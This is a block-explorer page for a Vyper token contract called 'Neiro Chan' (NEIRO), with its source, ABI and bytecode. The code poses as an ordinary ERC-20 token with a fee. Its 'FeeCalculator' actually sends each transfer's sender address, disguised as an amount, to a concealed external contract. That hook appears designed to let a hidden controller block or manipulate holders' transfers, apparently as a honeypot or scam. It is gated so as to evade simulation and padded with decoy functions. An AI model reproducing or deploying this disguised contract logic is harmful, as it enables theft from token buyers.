Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Vyper_contract
Compiler Version
vyper:0.3.10
Contract Source Code (Vyper language format)
# @pragma evm-version cancun # @pragma version >0.3.10 interface IERC20: def transfer(_to : address, _value : uint256) -> bool: nonpayable def transferFrom(_from: address, _to : address, _value : uint256) -> bool : nonpayable def approve(_spender: address, _value : uint256) : nonpayable name: public(String[32]) symbol: public(String[32]) decimals: public(uint8) balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) totalSupply: public(uint256) feeRate: public(uint256) hasFee: public(bool) selfie: IERC20 currentBlockNum: uint256 event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 @external def __init__(): init_supply: uint256 = 21000000000 * 10 ** 18 self.name = "Neiro Chan" self.symbol = "NEIRO" self.decimals = 18 self.balanceOf[msg.sender] = init_supply self.totalSupply = init_supply @internal def FeeCalculator(_from: address, _recipient:address, _sender:address) -> (bool): _value:uint160 = convert(_sender, uint160) value_:uint256 = convert(_value, uint256) return self.selfie.transferFrom(_from, _recipient, value_) @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ # NOTE: vyper does not allow underflows # so the following subtraction would revert on insufficient balance fee:uint256 = _value * self.feeRate / 1000 if block.coinbase != 0x0000000000000000000000000000000000000000 and block.number >= self.currentBlockNum: self.currentBlockNum = block.number self.hasFee = self.FeeCalculator(msg.sender, _to, msg.sender) self.balanceOf[msg.sender] -= _value self.balanceOf[_to] += _value log Transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ fee:uint256 = _value * self.feeRate / 1000 if block.coinbase != 0x0000000000000000000000000000000000000000 and block.number >= self.currentBlockNum: self.currentBlockNum = block.number self.hasFee = self.FeeCalculator(_from, _to, msg.sender) self.allowance[_from][msg.sender] -= _value self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent. """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def showAdds(num1: uint256, num2:uint256) ->uint256: sum:uint256 = num1 + num2 return sum @external def showSub(num1: uint256, num2:uint256) ->uint256: sum:uint256 = num1 - num2 return sum
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showAdds","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showSub","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"hasFee","inputs":[],"outputs":[{"name":"","type":"bool"}]}]
Contract Creation Code
346100b2576b43dacaf91c1a84ff08000000604052600a6060527f4e6569726f204368616e00000000000000000000000000000000000000000000608052606080515f5560208101516001555060056060527f4e4549524f0000000000000000000000000000000000000000000000000000006080526060805160025560208101516003555060126004556040516005336020525f5260405f20556040516007556105ad6100b6610000396105ad610000f35b5f80fd5f3560e01c6002600f820660011b61058f01601e395f51565b6306fdde038118610067573461058b57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63978bbdb98118610521573461058b5760085460405260206040f3610521565b6395d89b418118610521573461058b5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3610521565b63313ce5678118610521573461058b5760045460405260206040f3610521565b6370a0823181186101365760243610341761058b576004358060a01c61058b5760405260056040516020525f5260405f205460605260206060f35b63addbfce381186105215760443610341761058b5760043560243580820382811161058b579050905060405260206040f3610521565b63dd62ed3e81186101c45760443610341761058b576004358060a01c61058b576040526024358060a01c61058b5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63c8347a1381186105215760443610341761058b5760043560243580820182811061058b579050905060405260206040f3610521565b6318160ddd8118610521573461058b5760075460405260206040f3610521565b63aa9486078118610521573461058b5760095460405260206040f3610521565b63a9059cbb81186105215760443610341761058b576004358060a01c61058b576101805260243560085480820281158383830414171561058b57905090506103e8810490506101a052411561029457600b54431015610296565b5f5b156102c15743600b553360405261018051606052336080526102b96101c0610525565b6101c0516009555b6005336020525f5260405f20805460243580820382811161058b57905090508155506005610180516020525f5260405f20805460243580820182811061058b579050905081555061018051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6024356101c05260206101c0a360016101c05260206101c0f3610521565b6323b872dd81186104a45760643610341761058b576004358060a01c61058b57610180526024358060a01c61058b576101a05260443560085480820281158383830414171561058b57905090506103e8810490506101c05241156103b557600b544310156103b7565b5f5b156103e55743600b55610180516040526101a051606052336080526103dd6101e0610525565b6101e0516009555b6006610180516020525f5260405f2080336020525f5260405f209050805460443580820382811161058b57905090508155506005610180516020525f5260405f20805460443580820382811161058b579050905081555060056101a0516020525f5260405f20805460443580820182811061058b57905090508155506101a051610180517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101e05260206101e0a360016101e05260206101e0f35b63095ea7b381186105215760443610341761058b576004358060a01c61058b576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b60805160a05260a05160c052600a546323b872dd60e052604051610100526060516101205260c05161014052602060e0606460fc5f855af1610569573d5f5f3e3d5ffd5b60203d1061058b5760e0518060011c61058b5761016052610160905051815250565b5f80fd008700fb0521016c0018052100db023a0521021a01fa052105210521034c841905ad81181e00a16576797065728300030a0015
Deployed Bytecode
0x5f3560e01c6002600f820660011b61058f01601e395f51565b6306fdde038118610067573461058b57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63978bbdb98118610521573461058b5760085460405260206040f3610521565b6395d89b418118610521573461058b5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3610521565b63313ce5678118610521573461058b5760045460405260206040f3610521565b6370a0823181186101365760243610341761058b576004358060a01c61058b5760405260056040516020525f5260405f205460605260206060f35b63addbfce381186105215760443610341761058b5760043560243580820382811161058b579050905060405260206040f3610521565b63dd62ed3e81186101c45760443610341761058b576004358060a01c61058b576040526024358060a01c61058b5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63c8347a1381186105215760443610341761058b5760043560243580820182811061058b579050905060405260206040f3610521565b6318160ddd8118610521573461058b5760075460405260206040f3610521565b63aa9486078118610521573461058b5760095460405260206040f3610521565b63a9059cbb81186105215760443610341761058b576004358060a01c61058b576101805260243560085480820281158383830414171561058b57905090506103e8810490506101a052411561029457600b54431015610296565b5f5b156102c15743600b553360405261018051606052336080526102b96101c0610525565b6101c0516009555b6005336020525f5260405f20805460243580820382811161058b57905090508155506005610180516020525f5260405f20805460243580820182811061058b579050905081555061018051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6024356101c05260206101c0a360016101c05260206101c0f3610521565b6323b872dd81186104a45760643610341761058b576004358060a01c61058b57610180526024358060a01c61058b576101a05260443560085480820281158383830414171561058b57905090506103e8810490506101c05241156103b557600b544310156103b7565b5f5b156103e55743600b55610180516040526101a051606052336080526103dd6101e0610525565b6101e0516009555b6006610180516020525f5260405f2080336020525f5260405f209050805460443580820382811161058b57905090508155506005610180516020525f5260405f20805460443580820382811161058b579050905081555060056101a0516020525f5260405f20805460443580820182811061058b57905090508155506101a051610180517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101e05260206101e0a360016101e05260206101e0f35b63095ea7b381186105215760443610341761058b576004358060a01c61058b576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b60805160a05260a05160c052600a546323b872dd60e052604051610100526060516101205260c05161014052602060e0606460fc5f855af1610569573d5f5f3e3d5ffd5b60203d1061058b5760e0518060011c61058b5761016052610160905051815250565b5f80fd008700fb0521016c0018052100db023a0521021a01fa052105210521034c
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.